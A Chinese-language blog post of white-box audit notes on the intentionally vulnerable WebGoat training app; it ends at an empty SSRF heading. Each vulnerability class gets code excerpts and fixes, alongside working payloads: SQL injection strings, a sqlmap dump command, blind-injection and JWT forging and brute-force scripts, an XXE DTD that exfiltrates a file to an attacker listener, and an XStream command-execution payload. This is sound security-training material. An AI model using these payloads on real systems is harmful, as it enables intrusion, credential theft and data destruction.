webgoat白盒审计+漏洞测试

  • 2021 年 3 月 27 日
  • 笔记

前言

小白,记录,有问题可以交流

乖乖放上参考链接:
//www.freebuf.com/column/221947.html
//www.sec-un.org/java代码审计入门篇:webgoat-8(初见)/
//blog.csdn.net/qq_45836474/article/details/108021657


搭建流程

前提:

  • Java 11
  • Maven > 3.2.1
  • IDEA

下载源码

git clone //github.com/WebGoat/WebGoat.git

打开idea导入maven项目,build完成之后,打开localhost:8080/WebGoat,注册账户

Sql注入(未记录完全)

select department from employees where first_name=’Bob’

update employees set department=’Sales’ where first_name=’Barnett’

alter table employees add column phone varchar(20)

grant alter table to UnauthorizedUser

12:’; update employees set salary=1000000 where last_name=’Smith’;–

13:’; drop table access_log;– –

漏洞描述

当应用程序将用户输入的内容,拼接到SQL语句中,一起提交给数据库执行时,就会产生SQL注入威胁。攻击者通过控制部分SQL语句,可以查询数据库中任何需要的数据,利用数据库的一些特性,甚至可以直接获取数据库服务器的系统权限。

漏洞成因

字符拼接的方式拼接sql语句,并且没有做任何过滤直接执行

代码片段以及修复建议
  1. sql-injection–>SQLInjectionChanllenge

    使用预编译PrepareStatement,实现数据代码分离

    测试截图:

    根据代码找到注入点,用sqlmap跑,payload

    sqlmap.py -r 1.txt --method PUT --data "username_reg" -D PUBLIC -T CHALLENGE_USERS -C password --dump
    

    但是可能由于服务器的原因,跑了很久,还跑错了,密码应该是thisisasecretfortomonly

  2. sql-injection–>SQLInjectionLesson6a

    使用预编译PrepareStatement,实现数据代码分离

    测试截图:

    payload(注意字段类型要对应):

    -1' union select userid,user_name,password, cookie,'','',0 from user_system_data --
    

  3. sql-injection–>Servers

    列名不能加双引号,所以只能用字符拼接的方式拼接sql语句,建议对列名进行白名单过滤

    @ResponseBody
        public List<Server> sort(@RequestParam String column) throws Exception {
            List<Server> servers = new ArrayList<>();
    
            try (Connection connection = dataSource.getConnection();
                 PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by " + column)) {
                ResultSet rs = preparedStatement.executeQuery();
                while (rs.next()) {
                    Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
                    servers.add(server);
                }
            }
            return servers;
        }
    

    测试截图:

    sqlmap不太好使,太慢了,然后就看见大佬写的脚本

    布尔盲注,根据返回数据的排序来判断真假(tql)

    # -*- coding:utf-8 -*-
    
    import requests
    from string import digits
    chars = digits+"."
    
    headers = {
        'X-Requested-With': 'XMLHttpRequest'
    }
    cookies = {
        'JSESSIONID': 'D81iy9aS29fcA8JZUl1QEdeNBahRWoMFk8YyziGj',
        'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'
    }
    i = 0
    result = ""
    proxy={"http": "//127.0.0.1:6666"}
    while True:
        i += 1
        temp = result
        for char in chars:
            vul_url = "//localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char)
            resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
            # print(resp.json())
            if 'webgoat-acc' in resp.json()[0]['hostname']:
                result += char
        print(result)
        if temp == result:
            break
    
    '''select * from table where 
    column = 
    case
    when (select substr(ip,{0},1) = '{1}' from server where  hostname = 'webgoat-prd')
    then hostname
    else mac end'''
    

  4. sql-injection–>SqlOnlyInputValidation

    限制用户输入内容不能包含空格,但是可以通过过/**/注释,括号等绕过,过滤空格后直接调用SQLInjectionLesson6a的注入函数(字符拼接执行并直接输出结果),修复建议同SQLInjectionLesson6a

    测试截图:

    payload

    -1'/**/union/**/select/**/userid,user_name,password,cookie,'','',0/**/from/**/user_system_data/**/--/**/
    

  5. sql-injection–>SqlOnlyInputValidationOnKeywords

    对用户输入进行关键字’select’ ‘from’进行了一次判断置空,并限制用户输入不能包含空格,可以通过双写+注释绕过绕过,建议使用预编译

    测试截图:

    payload

    -1'/**/union/**/select/**/userid,user_name,password,cookie,'','',0/**/frfromom/**/user_system_data/**/--/**/
    

任意文件上传

漏洞描述

文件上传功能允许用户将本地的文件通过Web页面提交到网站服务器上,但是如果不对用户上传的文件进行合法性验证,则攻击者可利用Web应用系统文件上传功能(如文件上传、图像上传等)的代码缺陷来上传任意文件或者webshell,并在服务器上运行,以达到获取Web应用系统控制权限或其他目的。

漏洞成因

未对用户输入的参数进行合法性验证

代码片段以及修复建议
  1. path-traversal–>ProfileUpload

    获取前端上传的文件以及字符串“fullName”

@PostMapping(value = "/PathTraversal/profile-upload", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
 @ResponseBody
 public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName", required = false) String fullName) {
     return super.execute(file, fullName);
 }

调用父类ProfileUploadBase,execute()方法,判断文件和”fullName”非空后直接上传,并且“fullName”用作子路径名字符串

修复建议

  1. 对fullName进行判断过滤
  2. 使用适当的权限保护文件夹
  3. 随机化重命名用户上传的文件名
  4. 根据用户上传的文件类型重构文件

测试截图:


  1. path-traversal–>ProfileUploadFix

对“fullName”过滤了“../”,但是因为replace并不能递归检测,所以可以通过双写绕过(‘…/./’),修复建议同上

public AttackResult uploadFileHandler(
            @RequestParam("uploadedFileFix") MultipartFile file,
            @RequestParam(value = "fullNameFix", required = false) String fullName) {
        return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
    }

测试截图:


  1. path-traversal–>ProfileUploadRemoveUserInput

直接使用了源文件名,所以直接修改文件名即可,建议随机重命名文件名

public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
        return super.execute(file, file.getOriginalFilename());
    }

测试截图:


目录遍历

漏洞描述

路径遍历,即利用路径回溯符“../”跳出程序本身的限制目录实现下载任意文件。例如Web应用源码目录、Web应用配置文件、敏感的系统文件(/etc/passwd、/etc/paswd)等。

一个正常的Web功能请求:

//www.test.com/get-files.jsp?file=report.pdf

如果Web应用存在路径遍历漏洞,则攻击者可以构造以下请求服务器敏感文件:

//www.test.com/get-files.jsp?file=../../../../../../../../../../../../etc/passwd

漏洞成因

未对用户输入的参数进行合法性验证

代码片段以及修复建议

path-traversal–>ProfileUploadRetrieval

源码过滤了’..’和’/’,但是可以通过url编码进行绕过

根据参数id进行判断

如果用户输入的id.jpg存在,那么返回包中返回该图片的base64编码

如果不存在,就返回catPicturesDirectory的父目录的所有文件信息,用逗号分割

测试截图:

修复建议:

1. 使用适当的权限保护文件夹
2. 禁止返回目录信息
3. 对url编码后的参数也要进行解码过滤
4. 统一404界面

身份认证绕过

漏洞描述

业务流程由前端进行控制,服务器端对应的各功能分离,导致业务流程可被攻击者进行控制,从而绕过流程中的各项校验功能,达到攻击的目的。

漏洞成因

未对用户可控的参数进行合法性验证

代码片段以及修复建议
  1. auth-bypass–>VerifyAccount.completed()

    if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) {
                return failed(this)
                        .feedback("verify-account.cheated")
                        .output("Yes, you guessed correctly, but see the feedback message")
                        .build();
            }
    

    调用verificationHelper.didUserLikelylCheat()

    将用户输入的问题用键值对的方式保存,并和后端代码存储的答案进行比较。

    但是Mapper在get一个不存在的键时,并不会报错,而是返回null。所以用户可以通过控制key的值绕过。

    建议

    1. 若用户可控key,那么应该先判断这个key是否合法
    2. 设置不可控key,直接将用户的输入作为value进行判断
     static {
            userSecQuestions.put("secQuestion0", "Dr. Watson");
            userSecQuestions.put("secQuestion1", "Baker Street");
        }
    
        private static final Map<Integer, Map> secQuestionStore = new HashMap<>();
    
        static {
            secQuestionStore.put(verifyUserId, userSecQuestions);
        }
        // end 'data store set up'
    
        // this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
        public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
            boolean likely = false;
    
            if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
                likely = true;
            }
    
            if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")))
                    && (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) {
                likely = true;
            } else {
                likely = false;
            }
            return likely;
    

    测试截图:

  2. auth-bypass–>AccountVerificationHelper.verifyAccount()

    判断了key是否存在,但是不包含该key仍然可以绕过

    //end of cheating check ... the method below is the one of real interest. Can you find the flaw?
    
        public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
            //short circuit if no questions are submitted
            if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
                return false;
            }
    
            if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
                return false;
            }
    
            if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
                return false;
            }
    
            // else
            return true;
    
        }
    

    建议修改为

    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
                return false;
            }
    // 同时判断key和对应的value
            if (submittedQuestions.containsKey("secQuestion0") && submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")) && submittedQuestions.containsKey("secQuestion1") && submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
                return true;
            }
    
            // else
            return false;
    

    作者没写这个功能点,就是在源码里面问了一下

  3. JWT

    jwt–>JWTVotesEndpoint.vote()

    没有验证签名,直接判断token中的admin对应值是否为true,所以把token中的alg设置为none,admin设置为true即可(亲测bp转换的不行)

     if (StringUtils.isEmpty(accessToken)) {
                return failed(this).feedback("jwt-invalid-token").build();
            } else {
                try {
                    Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
                    Claims claims = (Claims) jwt.getBody();
                    boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
                    if (!isAdmin) {
                        return failed(this).feedback("jwt-only-admin").build();
                    } else {
                        votes.values().forEach(vote -> vote.reset());
                        return success(this).build();
                    }
                } catch (JwtException e) {
                    return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
                }
            }
    

    转换脚本:

    # -*- coding:utf-8 -*-
    
    import jwt
    import base64
    # header
    # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
    # {"typ":"JWT","alg":"HS256"}
    #payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
    # {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
    
    def b64urlencode(data):
        return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
    
    print(b64urlencode(b'{"alg":"none"}')+b'.'+b64urlencode(b'{"iat":1673470025,"admin":"true","user":"Tom"}')+b'.')
    

    测试截图:

    jwt–>JWTSecretKeyEndpoint.login()

    随机取数组中的值进行加密,可以用字典进行爆破

     public static final String[] SECRETS = {"victory", "business", "available", "shipping", "washington"};
    static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
    public String getSecretToken() {
            return Jwts.builder()
                    .setIssuer("WebGoat Token Builder")
                    .setAudience("webgoat.org")
                    .setIssuedAt(Calendar.getInstance().getTime())
                    .setExpiration(Date.from(Instant.now().plusSeconds(60)))
                    .setSubject("[email protected]")
                    .claim("username", "Tom")
                    .claim("Email", "[email protected]")
                    .claim("Role", new String[]{"Manager", "Project Administrator"})
                    .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
        }
    

    爆破脚本(字典pass.txt用的是源码里面的数组)(如果脚本报错jwt找不到jwt.exceptions,可能是pyjwt的问题,更新pyjwt>=1.6.4即可,解决来源):

    import termcolor
    import jwt
    if __name__ == "__main__":
        jwt_str = 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYxMTc5ODAxNSwiZXhwIjoxNjExNzk4MDc1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.w1tzWDwmZcggbyV9ixcw1Vydf07MG9mAsPVbQPgBh2E'
        with open('pass.txt') as f:
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, verify=True, key=key_, algorithms="HS256")
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')
    

    测试截图:

    爆破出来key,就可以去//jwt.io/#debugger加工啦

    jwt–>JWTRefreshEndpoint

    登录时调用createNewTokens()

    会获取到的refresh token和该用户的access token

    refresh token是通过RandomStringUtils.randomAlphabetic(20)获取的随机值,用于刷新过期的access token

    但是由于没有绑定用户信息,所以可以用来刷新任何任何用户的过期token

            Map<String, Object> tokenJson = new HashMap<>();
            String refreshToken = RandomStringUtils.randomAlphabetic(20);
            validRefreshTokens.add(refreshToken);
            tokenJson.put("access_token", token);
            tokenJson.put("refresh_token", refreshToken);
            return tokenJson;
    

    token刷新,请求包中的refresh_token被包含在随机生成的token集合中时,就返回一个新的token:

     if (user == null || refreshToken == null) {
                return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
            } else if (validRefreshTokens.contains(refreshToken)) {
                validRefreshTokens.remove(refreshToken);
                return ok(createNewTokens(user));
            } else {
                return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
            }
    

    测试截图:

    利用登录接口,登录当前用户jerry,获取刷新refresh_token

    没有成功刷新token,报错信息:给出的token无法正常解析

    jwt–>JWTFinalEndpoint.resetVotes()

    存在sql注入点”kid”(KID代表“密钥序号”(Key ID)。它是JWT头部的一个可选字段,开发人员可以用它标识认证token的某一密钥)

    可以通过union进行绕过,将”key”作为认证密钥,使用在线工具伪造token

    这里将数据库取出的key用base64解码了,所以在注入的时候要注入key的base编码

    aaa' union select 'a2V5' from jwt_keys where id='webgoat_key
    
    final String kid = (String) header.get("kid");
                            try (var connection = dataSource.getConnection()) {
                                ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                                while (rs.next()) {
                                    return TextCodec.BASE64.decode(rs.getString(1));
                                }
                            }
    

    建议

    1. 保证密钥的保密性
    2. 签名算法固定在后端,不以JWT里的算法为标准
    3. 避免敏感信息保存在JWT中
    4. 尽量JWT的有效时间足够短
    5. 尽量避免用用户可以获取的参数刷新token,避免逻辑绕过
    6. 注意header部分,若有sql语句,建议使用预编译

    测试截图:

    a2v5是key的base64编码


  4. 安全问题

    password_reset–>QuestionsAssignment

    密保问题设置为,你最喜欢的颜色是什么,可以直接用常见颜色生成字典进行爆破,建议使用更复杂的难以破解的问题,并且限制输入次数

    测试截图:

    password_reset–>ResetLinkAssignmentForgotPassword

    参数host是从Request头部获取的,可以通过控制host参数,给用户发送一个我们控制的link,用户点击后访问我们的服务器,服务器记录该请求,从而获取到后面的resetLink,然后我们再通过正常的访问修改密码

修复建议:

1. 禁止将用户可控的参数拼接进密码重置link
2. 重置链接应该是一次性有效的
private void fakeClickingLinkEmail(String host, String resetLink) {
        try {
            HttpHeaders httpHeaders = new HttpHeaders();
            HttpEntity httpEntity = new HttpEntity(httpHeaders);
            new RestTemplate().exchange(String.format("//%s/PasswordReset/reset/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class);
        } catch (Exception e) {
         //don't care
        }
    }

测试截图:

攻击者服务器记录了请求

用户敏感信息传输与存储

漏洞描述

系统未对用户的敏感信息(如密码、身份证号、电话号码、银行卡号等)进行加密、脱敏等操作,导致用户信息存在泄露的风险。

漏洞成因

提交登录请求时,没有对密码进行加密

代码片段以及修复建议

前端存储的用户名和密码

function submit_secret_credentials() {
    var xhttp = new XMLHttpRequest();
    xhttp['open']('POST', '#attack/307/100', true);
	//sending the request is obfuscated, to descourage js reading
	var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]}))
}

调用该函数的发包截图:

建议在数据传过程中,对用户的敏感数据进行加密

XML外部实体注入

漏洞描述

XXE(XML External Entity Injection)是一种针对XML终端实施的攻击,漏洞产生的根本原因就是在XML1.0标准中引入了“entity”这个概念,且“entity”可以在预定义的文档中进行调用,XXE漏洞的利用就是通过实体的标识符访问本地或者远程内容。黑客想要实施这种攻击,需要在XML的payload包含外部实体声明,且服务器本身允许实体扩展。这样的话,黑客或许能读取WEB服务器的文件系统,通过UNC路径访问远程文件系统,或者通过HTTP/HTTPS连接到任意主机。

漏洞成因

XML解析没有禁止外部实体的解析,且用户可控REST XML格式的参数。

代码片段以及修复建议
  1. xxe–>SimpleXXE.createNewComment()
boolean secure = false;
        	if (null != request.getSession().getAttribute("applySecurity")) {
        		secure = true;
        	}
            Comment comment = comments.parseXml(commentStr, secure);
            comments.addComment(comment, false);
            if (checkSolution(comment)) {
                return success(this).build();
            }

其中调用 Comment 的parseXml(commentStr, secure)方法进行xml解析
正如代码中所示,可以通过设置XMLConstants的两个属性来禁用外部实体解析,默认的空字符串就是禁用,也可以指定协议等。

详细信息可以看XMLConstants中的注释。

     var jc = JAXBContext.newInstance(Comment.class);
     var xif = XMLInputFactory.newInstance();
   if (secure) {
        	xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
     	xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant
        }
        
   
        var xsr = xif.createXMLStreamReader(new StringReader(xml));
    
        var unmarshaller = jc.createUnmarshaller();
        return (Comment) unmarshaller.unmarshal(xsr);

测试截图:

  1. xxe–>ContentTypeAssignment.createNewUser()

    根据contentType判断数据格式,xml解析和1一样,其余同上

     // 如果是xml格式
            if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {
                String error = "";
                try {
                	boolean secure = false;
                	if (null != request.getSession().getAttribute("applySecurity")) {
                		secure = true;
                	}
                    Comment comment = comments.parseXml(commentStr, secure);
                    comments.addComment(comment, false);
                    if (checkSolution(comment)) {
                        attackResult = success(this).build();
                    }
                }
    

    测试截图:


  1. xxe–>ContentTypeAssignment.addComment()

    这里作者为了弄一个blind xxe,特别设置了提交正确的内容才返回success

    xml解析代码并没有改变

    实际上还是通过参数实体注入(参数实体也能被外部引用),为了看到数据所以要通过盲打的方式,将WEB服务器的本地文件内容发送到攻击者的服务器

    修复建议同上

    //Solution is posted as a separate comment
            if (commentStr.contains(CONTENTS)) {
                return success(this).build();
            }
    
            try {
            	boolean secure = false;
            	if (null != request.getSession().getAttribute("applySecurity")) {
            		secure = true;
            	}
                Comment comment = comments.parseXml(commentStr, secure);
                if (CONTENTS.contains(comment.getText())) {
                    comment.setText("Nice try, you need to send the file to WebWolf");
                }
                comments.addComment(comment, false);
            }
    

    测试截图:

    a.dtd上传在攻击服务器上

    <!ENTITY % payload  "<!ENTITY attack SYSTEM '//127.0.0.1:9090/landing?text=%file;'>">
    

    数据通过实体引用成功回显啦

水平越权

漏洞描述

水平越权漏洞,是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时,没有判断数据的所属人,而导致的越权数据访问漏洞。如服务器端从客户端提交的request参数(用户可控数据)中获取用户id,恶意攻击者通过变换请求ID的值,查看或修改不属于本人的数据。

漏洞成因

服务器端对数据的访问控制验证不充分

代码片段以及修复建议

idor–>IDORViewOtherProfile

安全代码将确保在拆除所请求的配置文件之前确保有一个水平访问控制检查

例如检查登录用户的session中的id(用户不可控)是否和请求的id一致

if(requestedProfile.getUserId().equals(authUserId))

 if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
            //going to use session auth to view this one
            String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
            if (userId != null && !userId.equals(authUserId)) {
                //on the right track
                UserProfile requestedProfile = new UserProfile(userId);
                // secure code would ensure there was a horizontal access control check prior to dishing up the requested profile
                 if (requestedProfile.getUserId().equals("2342388")) {
                    return success(this).feedback("idor.view.profile.success").output(requestedProfile.profileToMap().toString()).build();
                } else {
                    return failed(this).feedback("idor.view.profile.close1").build();
                }

测试截图:

XSS跨站脚本

漏洞描述

跨站脚本攻击(Cross Site Script)是一种将恶意JavaScript代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览该页时,这些嵌入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如cookie窃取、帐户劫持、拒绝服务攻击等。

跨站脚本攻击有以下攻击形式:

1、反射型跨站脚本攻击

攻击者利用社会工程学等手段,发送一个URL链接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。

2、存储型跨站脚本攻击

攻击者利用应用程序提供的录入或修改数据的功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本,所有浏览者都会受到攻击。

3、DOM跨站脚本攻击

由于HTML页面中,定义了一段JS,根据用户的输入,显示一段HTML代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。

DOM跨站脚本攻击和以上两个跨站脚本攻击的区别是,DOM跨站是纯页面脚本的输出,只有规范使用JavaScript,才可以防御。

漏洞成因

在HTML中常用到字符实体,将常用到的字符实体没有进行转译,导致完整的标签出现,在可输入的文本框等某些区域内输入特定的某些标签导致代码被恶意篡改。

代码片段以及修复建议
  1. xss–>CrossSiteScriptingLesson5a

    反射型xss

    题目用正则表达式匹配用户输入的参数field1,因为是题目需求这里匹配 “.*<script>(console\.log|alert)\(.\);?<\/script>.“后在页面上进行输出

    public static final Predicate<String> XSS_PATTERN = Pattern.compile(
                ".*<script>(console\\.log|alert)\\(.*\\);?<\\/script>.*"
                , Pattern.CASE_INSENSITIVE).asMatchPredicate();
    if (XSS_PATTERN.test(field1)) {
                userSessionData.setValue("xss-reflected-5a-complete", "true");
                if (field1.toLowerCase().contains("console.log")) {
                    return success(this).feedback("xss-reflected-5a-success-console").output(cart.toString()).build();
                } else {
                    return success(this).feedback("xss-reflected-5a-success-alert").output(cart.toString()).build();
                }
            }
    

    测试截图:

    修复建议:

    1. 根据要在何处使用用户输入,使用适当的转义/编码技术:HTML转义,JavaScript转义,CSS转义,URL转义等。使用现有的转义库,除非绝对必要,否则请不要编写自己的库。

    2. 如果用户输入需要包含HTML,则无法对其进行转义/编码,因为它会破坏有效的标签。在这种情况下,请使用受信任且经过验证的库来解析和清除HTML。

    3. 为cookie设置HttpOnly标志

    4. 使用内容安全策略

  2. DOM型

    源码中使用路由,路由中的参数而无需编码可以执行WebGoat中的内部功能

    // something like ... //localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E--andMoreGarbageHere
    // or //localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>
    

    测试截图:

    通过url触发路由内部函数的执行

    //localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>
    

    修复建议:规范使用JavaScript

反序列化

反序列化漏洞呢是一个说复杂也不复杂,说不复杂也很复杂的问题,要理解的点还是有很多的,这里就讲的很细

deserialization–>InsecureDeserializationTask

根据 if (!(o instanceof VulnerableTaskHolder)),可以发现,我们序列化的实例应该是VulnerableTaskHolder

try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
            before = System.currentTimeMillis();
            Object o = ois.readObject();
            if (!(o instanceof VulnerableTaskHolder)) {
                if (o instanceof String) {
                    return failed(this).feedback("insecure-deserialization.stringobject").build();
                }
                return failed(this).feedback("insecure-deserialization.wrongobject").build();
            }
            after = System.currentTimeMillis();

VulnerableTaskHolder定位到Runtime.getRuntime().exec(taskAction)

并且taskAction是在构造函数里被赋值的

所以我们可以通过控制taskAction来控制执行的命令(eg. VulnerableTaskHolder go = new VulnerableTaskHolder(“sleep”, “sleep 6”)),将对象使用序列化工具序列化,提交至后端处理,就会触发

//condition is here to prevent you from destroying the goat altogether
		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        }

测试截图:

序列化VulnerableTaskHolder对象,base64编码

static public void main(String[] args){
        try{
            VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(go);
            oos.flush();
            byte[] exploit = bos.toByteArray();
            String exp = Base64.getEncoder().encodeToString(exploit);
            System.out.println(exp);
        } catch (Exception e){

        }

提交后反序列化后的对象

但是没有执行成功,谷歌了一下,说是用java调用CMD 命令时,需要指定 ,但是这个会改变现存代码逻辑,暂未实现,实现后再更新

反序列化漏洞修复建议:

1. 如果是第三方组件存在反序列化漏洞,建议更新版本或打补丁
2. 加强对Runtime.exec相关代码的检测
3. 条件允许的话,禁止JVM执行外部命令

第三方组件

漏洞描述

系统中引用了存在已知漏洞的第三方组件,如Jackson反序列化漏洞、Struts2远程代码执行漏洞等,可能会直接或间接导致系统沦陷。

代码片段以及修复建议

CVE-2013-7285漏洞详情

攻击者可以通过版本信息找到相应的cve漏洞和payload进行利用,如下就是通过构造ContactImpl的xml格式通关。

try {
        	if (!StringUtils.isEmpty(payload)) {
        		payload = payload.replace("+", "").replace("\r", "").replace("\n", "").replace("> ", ">").replace(" <", "<");
        	}
            contact = (Contact) xstream.fromXML(payload);
        } catch (Exception ex) {
            return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build();
        }
        
        try {
            if (null!=contact) {
            	contact.getFirstName();//trigger the example like //x-stream.github.io/CVE-2013-7285.html
            } 
            if (!(contact instanceof ContactImpl)) {
            	return success(this).feedback("vulnerable-components.success").build();
            }
        } catch (Exception e) {
        	return success(this).feedback("vulnerable-components.success").output(e.getMessage()).build();
        }

实例案例中,可以通过构造xml格式的数据,造成rce

第三方漏洞修复建议:更新到最新版本,或者打补丁

测试截图:

payload:

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>cacl.exe</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

成功弹出计算器

CSRF

漏洞描述

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

漏洞成因

网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能

部分代码及修复建议
  1. csrf–>ForgedReviews.createNewReview()

    只判断了refer值

    测试截图:

    bp一键生成

    修复建议:

    1. 在服务器端生成随机token,浏览器在发起针对数据的修改请求将token提交,由服务器端验证通过够进行操作逻辑,token需要至多一次有效,并具有有限的生命周期

    2. 通过检查refer值,判断请求是否合法(下面的代码就是典型的反例)

    3. 针对需要用户授权的请求,提示用户输入身份认证后再继续操作

    4. 针对频繁操作提示输入验证码后再继续进行操作

  2. csrf–>CSRFFeedback(7)

    新增判断了contentType。

    拦截请求包生成的poc中,enctype=”text/plain”,我们要发送的json格式的数据都被隐藏在input的name中,其余同上

    测试截图:

SSRF

漏洞描述

